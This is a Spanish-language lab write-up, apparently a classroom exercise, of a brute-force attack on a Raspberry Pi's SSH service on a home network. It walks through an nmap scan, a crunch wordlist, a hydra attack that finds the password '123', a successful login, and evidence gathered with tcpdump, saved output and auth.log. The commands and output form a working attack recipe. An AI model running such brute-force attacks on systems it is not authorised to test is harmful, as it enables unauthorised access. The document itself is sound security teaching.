

Ataque mediante fuerza bruta al servicio SSH de una raspberry pi

N	8	Q	Q	U	M	P	B	Z	0	1	2
O	9	R	R	V	N	Q	C	0	1	2	3
P	A	S	S	W	O	R	D	1	2	3	4
Q	B	T	T	X	P	S	E	2	3	4	5
R	C	U	U	Y	Q	T	F	3	4	5	6

Fase 1.

Buscaremos en nuestra red equipos que tengan el puerto 22 abierto, y usaremos grep para buscar aquellos que hagan referencia a 'Raspberry pi', de manera que podamos filtrar los resultados.

```
(victor@victor)-[~]  
$ nmap -p 22 192.168.1.0/24 | grep -i "rasp" -B 9  
PORT      STATE      SERVICE  
22/tcp    filtered  ssh  
MAC Address: D8:5E:D3:A1:C0:01 (Giga-byte Technology)  
  
Nmap scan report for 192.168.1.53  
Host is up (0.0013s latency).  
  
PORT      STATE      SERVICE  
22/tcp    open       ssh  
MAC Address: D8:3A:DD:0D:BE:12 (Raspberrry Pi Trading)  
--  
PORT      STATE      SERVICE  
22/tcp    filtered  ssh  
MAC Address: 2C:58:B9:71:AC:F4 (HP)  
  
Nmap scan report for 192.168.1.56  
Host is up (0.0012s latency).  
  
PORT      STATE      SERVICE  
22/tcp    open       ssh  
MAC Address: B8:27:EB:EE:F2:81 (Raspberrry Pi Foundation)  
  
(victor@victor)-[~]  
$
```

El unico equipo con el puerto 22 explicitamente abierto es la raspberry pi con ip 192.168.1.56.

Fase 2.

Vamos a generar un diccionario para poder ejecutar un ataque de fuerza bruta sobre el puerto 22. Sabemos que la contraseña tiene 3 caracteres y que van del 1 al 3. Guardamos el diccionario en un archivo txt en nuestro directorio personal.

```
(victor@victor)-[~]  
$ crunch 3 3 123 -o dict_ssh.txt  
Crunch will now generate the following amount of data: 108 bytes  
0 MB  
0 GB  
0 TB  
0 PB  
Crunch will now generate the following number of lines: 27  
  
crunch: 100% completed generating output  
  
(victor@victor)-[~]  
$ cat dict_ssh.txt  
111  
112  
113  
121  
122  
123  
131  
132  
133  
211  
212  
213  
221  
222  
223  
231  
232  
233  
311  
312  
313  
321  
322  
323  
331  
332  
333
```

Fase 3.

Ahora usaremos hydra y el diccionario que hemos generado antes. Sabemos que el usuario para el login es 'rasp'. Configuraremos hydra para que haga 4 conexiones paralelas a fin de agilizar el proceso y seleccionaremos la opción más 'verbose' posible para poder obtener tanta información como podamos del proceso. El comando resultante es el siguiente:

```
hydra -l rasp -P dict_ssh.txt 192.168.1.56 -t 4 -vV
```

- -l: usuario a usar o diccionario de users.
- -P: contraseña a usar o diccionario de contraseñas.
- -t: número de conexiones paralelas.
- -vV: argumento que nos devuelve la máxima información posible.

```
(victor@victor)-[~]
$ hydra -l rasp -P dict_ssh.txt ssh://192.168.1.56 -t 4 -vV
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-11-05 12:47:19
[DATA] max 4 tasks per 1 server, overall 4 tasks, 27 login tries (l:1/p:27), ~7 tries per task
[DATA] attacking ssh://192.168.1.56:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://rasp@192.168.1.56:22
[INFO] Successful, password authentication is supported by ssh://192.168.1.56:22
[ATTEMPT] target 192.168.1.56 - login "rasp" - pass "111" - 1 of 27 [child 0] (0/0)
[ATTEMPT] target 192.168.1.56 - login "rasp" - pass "112" - 2 of 27 [child 1] (0/0)
[ATTEMPT] target 192.168.1.56 - login "rasp" - pass "113" - 3 of 27 [child 2] (0/0)
[ATTEMPT] target 192.168.1.56 - login "rasp" - pass "121" - 4 of 27 [child 3] (0/0)
[ATTEMPT] target 192.168.1.56 - login "rasp" - pass "122" - 5 of 27 [child 3] (0/0)
[ATTEMPT] target 192.168.1.56 - login "rasp" - pass "123" - 6 of 27 [child 0] (0/0)
[ATTEMPT] target 192.168.1.56 - login "rasp" - pass "131" - 7 of 27 [child 1] (0/0)
[ATTEMPT] target 192.168.1.56 - login "rasp" - pass "132" - 8 of 27 [child 2] (0/0)
[22][ssh] host: 192.168.1.56 login: rasp password: 123
[STATUS] attack finished for 192.168.1.56 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-11-05 12:47:29
```

Obtenemos que la contraseña es '123'

Probamos a conectarnos:

```
(victor@victor)-[~]
$ ssh rasp@192.168.1.56
rasp@192.168.1.56's password:
Linux rasp 6.12.47+rpt-rpi-v7 #1 SMP Raspbian 1:6.12.47-1+rpt1 (2025-09-16) armv7l

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Nov  5 11:44:52 2025 from 192.168.1.128

Wi-Fi is currently blocked by rfkill.
Use raspi-config to set the country before use.

rasp@rasp:~ $
```

La conexión es exitosa.

Fase 4.

Pasamos a registrar toda la evidencia del ataque:

Con tcpdump escuchamos las conexiones tcp que establece hydra con la ip de la raspberry. Las guardamos en un archivo pcap para poder examinarlo mas adelante con wireshark.

```
(victor@victor)-[~]
$ sudo tcpdump -i eth1 host 192.168.1.56 and port 22 -w captura_ssh.pcap
tcpdump: listening on eth1, link-type EN10MB (Ethernet), snapshot length 262144 bytes
^C137 packets captured
137 packets received by filter
0 packets dropped by kernel

(victor@victor)-[~]
$ ls
8572      Descargas      Documentos      exploit.c      Imágenes      Música      Plantillas      Público      Videos
captura_ssh.pcap  dict_ssh.txt  Escritorio      hydra_res.txt  Mr.Holmes     passwd_descarga  ports.txt      SV.txt

(victor@victor)-[~]
$
```

No.	Time	Source	Destination	Protocol	Length	Info
1	0.000000	192.168.1.91	192.168.1.56	TCP	74	35906 → 22 [SYN, ACK]
2	0.001025	192.168.1.56	192.168.1.91	TCP	74	22 → 35906 [SYN, ACK]
3	0.001047	192.168.1.91	192.168.1.56	TCP	66	35906 → 22 [ACK] Seq=
4	0.001228	192.168.1.91	192.168.1.56	SSHv2	89	Client: Protocol (SSH
5	0.002191	192.168.1.56	192.168.1.91	TCP	66	22 → 35906 [ACK] Seq=
6	0.158439	192.168.1.56	192.168.1.91	SSHv2	101	Server: Protocol (SSH
7	0.158469	192.168.1.91	192.168.1.56	TCP	66	35906 → 22 [ACK] Seq=
8	0.161195	192.168.1.91	192.168.1.56	SSHv2	970	Client: Key Exchange
9	0.162262	192.168.1.56	192.168.1.91	TCP	66	22 → 35906 [ACK] Seq=
10	0.274199	192.168.1.56	192.168.1.91	SSHv2	1106	Server: Key Exchange
11	0.275385	192.168.1.91	192.168.1.56	SSHv2	114	Client: Elliptic Curv
12	0.276469	192.168.1.56	192.168.1.91	TCP	66	22 → 35906 [ACK] Seq=
13	0.408561	192.168.1.56	192.168.1.91	SSHv2	558	Server: Elliptic Curv
14	0.409028	192.168.1.91	192.168.1.56	SSHv2	82	Client: New Keys
15	0.410013	192.168.1.56	192.168.1.91	TCP	66	22 → 35906 [ACK] Seq=
16	0.410025	192.168.1.91	192.168.1.56	SSHv2	110	Client: Encrypted pac
17	0.410907	192.168.1.56	192.168.1.91	TCP	66	22 → 35906 [ACK] Seq=
18	0.419607	192.168.1.56	192.168.1.91	SSHv2	110	Server: Encrypted pac

```
> Frame 1: 74 bytes on wire (592 bits), 74 bytes captured
> Ethernet II, Src: VMware_b5:3a:b1 (00:0c:29:b5:3a:b1), Dst: 00:0c:29:b5:3a:b1
> Internet Protocol Version 4, Src: 192.168.1.91, Destination: 192.168.1.56
> Transmission Control Protocol, Src Port: 35906, Dst Port: 22
    0000  b8 27 eb ee f2 81 00 0c 29 b5 3a b1 08 00 45
    0010  00 3c b5 78 40 00 40 06 01 60 c0 a8 01 5b c0
    0020  01 38 8c 42 00 16 35 37 77 5f 00 00 00 00 a0
    0030  fa f0 0c cb 00 00 02 04 05 b4 04 02 08 0a 8b
    0040  f7 a4 00 00 00 00 01 03 03 07
```

Guardamos tambien la salida de hydra para poder almacenar la contraseña de ssh.

```
(victor@victor)-[~]
$ hydra -l rasp -P dict_ssh.txt ssh://192.168.1.56 -t 4 -vv > hydra_res.txt

(victor@victor)-[~]
$ cat hydra_res.txt
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organization, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-11-05 13:01:25
[DATA] max 4 tasks per 1 server, overall 4 tasks, 27 login tries (l:1/p:27), ~7 tries per task
[DATA] attacking ssh://192.168.1.56:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://192.168.1.56:22
[INFO] Successful, password authentication is supported by ssh://192.168.1.56:22
[ATTEMPT] target 192.168.1.56 - login "rasp" - pass "111" - 1 of 27 [child 0] (0/0)
[ATTEMPT] target 192.168.1.56 - login "rasp" - pass "112" - 2 of 27 [child 1] (0/0)
[ATTEMPT] target 192.168.1.56 - login "rasp" - pass "113" - 3 of 27 [child 2] (0/0)
[ATTEMPT] target 192.168.1.56 - login "rasp" - pass "121" - 4 of 27 [child 3] (0/0)
[ATTEMPT] target 192.168.1.56 - login "rasp" - pass "122" - 5 of 27 [child 1] (0/0)
[ATTEMPT] target 192.168.1.56 - login "rasp" - pass "123" - 6 of 27 [child 0] (0/0)
[ATTEMPT] target 192.168.1.56 - login "rasp" - pass "131" - 7 of 27 [child 2] (0/0)
[ATTEMPT] target 192.168.1.56 - login "rasp" - pass "132" - 8 of 27 [child 3] (0/0)
[22][ssh] host: 192.168.1.56 login: rasp password: 123
[STATUS] attack finished for 192.168.1.56 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-11-05 13:01:37

(victor@victor)-[~]
$
```

Por ultimo en la raspberry a traves de ssh extraemos los logs a un archivo para consultarlos.

```
rasp@rasp:~$ sudo tail -n 200 /var/log/auth.log > auth.extract.txt
rasp@rasp:~$ cat auth.extract.txt
2025-11-05T12:04:55.909170+00:00 rasp unix_chkpwd[2857]: password check failed for user (rasp)
2025-11-05T12:04:56.003471+00:00 rasp unix_chkpwd[2860]: password check failed for user (rasp)
2025-11-05T12:04:56.027076+00:00 rasp unix_chkpwd[2861]: password check failed for user (rasp)
2025-11-05T12:04:56.144086+00:00 rasp unix_chkpwd[2863]: password check failed for user (rasp)
2025-11-05T12:04:56.184025+00:00 rasp unix_chkpwd[2862]: password check failed for user (rasp)
2025-11-05T12:04:56.185135+00:00 rasp unix_chkpwd[2864]: password check failed for user (rasp)
2025-11-05T12:04:57.577822+00:00 rasp sshd-session[2773]: Failed password for rasp from 192.168.1.82 port 53664 ssh2
2025-11-05T12:04:57.587416+00:00 rasp sshd[858]: drop connection #17 from [192.168.1.82]:43430 on [192.168.1.56]:22
Maxstartups
2025-11-05T12:04:57.588164+00:00 rasp sshd[858]: drop connection #17 from [192.168.1.82]:43440 on [192.168.1.56]:22
Maxstartups
2025-11-05T12:04:57.685555+00:00 rasp sshd-session[2768]: Failed password for rasp from 192.168.1.82 port 53630 ssh2
2025-11-05T12:04:57.756472+00:00 rasp sshd-session[2771]: Failed password for rasp from 192.168.1.82 port 53638 ssh2
2025-11-05T12:04:57.837025+00:00 rasp sshd-session[2776]: Failed password for rasp from 192.168.1.82 port 53674 ssh2
2025-11-05T12:04:58.116880+00:00 rasp sshd-session[2816]: Failed password for rasp from 192.168.1.82 port 40954 ssh2
2025-11-05T12:04:58.187066+00:00 rasp sshd-session[2792]: Failed password for rasp from 192.168.1.82 port 53712 ssh2
2025-11-05T12:04:58.486805+00:00 rasp sshd-session[2778]: Failed password for rasp from 192.168.1.82 port 53682 ssh2
2025-11-05T12:04:58.546819+00:00 rasp sshd-session[2791]: Failed password for rasp from 192.168.1.82 port 53704 ssh2
2025-11-05T12:04:58.909679+00:00 rasp unix_chkpwd[2866]: password check failed for user (rasp)
2025-11-05T12:04:59.124090+00:00 rasp unix_chkpwd[2867]: password check failed for user (rasp)
2025-11-05T12:04:59.161359+00:00 rasp unix_chkpwd[2871]: password check failed for user (rasp)
2025-11-05T12:04:59.167297+00:00 rasp sshd-session[2865]: pam_unix(sshd:auth): authentication failure; logname= uid=
0 euid=0 tty=ssh ruser= rhost=192.168.1.82 user=rasp
2025-11-05T12:04:59.246042+00:00 rasp unix_chkpwd[2869]: password check failed for user (rasp)
2025-11-05T12:04:59.287791+00:00 rasp unix_chkpwd[2870]: password check failed for user (rasp)
2025-11-05T12:04:59.344702+00:00 rasp unix_chkpwd[2876]: password check failed for user (rasp)
2025-11-05T12:04:59.366994+00:00 rasp unix_chkpwd[2873]: password check failed for user (rasp)
2025-11-05T12:04:59.382043+00:00 rasp unix_chkpwd[2874]: password check failed for user (rasp)
2025-11-05T12:04:59.402569+00:00 rasp unix_chkpwd[2875]: password check failed for user (rasp)
2025-11-05T12:04:59.407728+00:00 rasp unix_chkpwd[2872]: password check failed for user (rasp)
2025-11-05T12:05:00.542374+00:00 rasp sshd-session[2808]: Failed password for rasp from 192.168.1.82 port 53746 ssh2
2025-11-05T12:05:00.670973+00:00 rasp sshd-session[2778]: error: maximum authentication attempts exceeded for rasp f
rom 192.168.1.82 port 53682 ssh2 [preauth]
2025-11-05T12:05:00.671833+00:00 rasp sshd-session[2778]: Disconnecting authenticating user rasp 192.168.1.82 port 5
3682: Too many authentication failures [preauth]
2025-11-05T12:05:00.672489+00:00 rasp sshd-session[2778]: PAM 5 more authentication failures; logname= uid=0 euid=0
tty=ssh ruser= rhost=192.168.1.82 user=rasp
2025-11-05T12:05:00.673016+00:00 rasp sshd-session[2778]: PAM service(sshd) ignoring max retries; 6 > 3
2025-11-05T12:05:00.837248+00:00 rasp sshd-session[2789]: Failed password for rasp from 192.168.1.82 port 53690 ssh2
2025-11-05T12:05:00.907072+00:00 rasp sshd-session[2770]: Failed password for rasp from 192.168.1.82 port 53652 ssh2
2025-11-05T12:05:01.067189+00:00 rasp sshd-session[2802]: Failed password for rasp from 192.168.1.82 port 53736 ssh2
2025-11-05T12:05:01.117236+00:00 rasp sshd-session[2769]: Failed password for rasp from 192.168.1.82 port 53636 ssh2
2025-11-05T12:05:01.137084+00:00 rasp sshd-session[2865]: Failed password for rasp from 192.168.1.82 port 43420 ssh2
2025-11-05T12:05:01.259255+00:00 rasp sshd-session[2818]: Failed password for rasp from 192.168.1.82 port 40970 ssh2
2025-11-05T12:05:01.287333+00:00 rasp sshd-session[2805]: Failed password for rasp from 192.168.1.82 port 53720 ssh2
2025-11-05T12:05:01.356405+00:00 rasp unix_chkpwd[2877]: password check failed for user (rasp)
```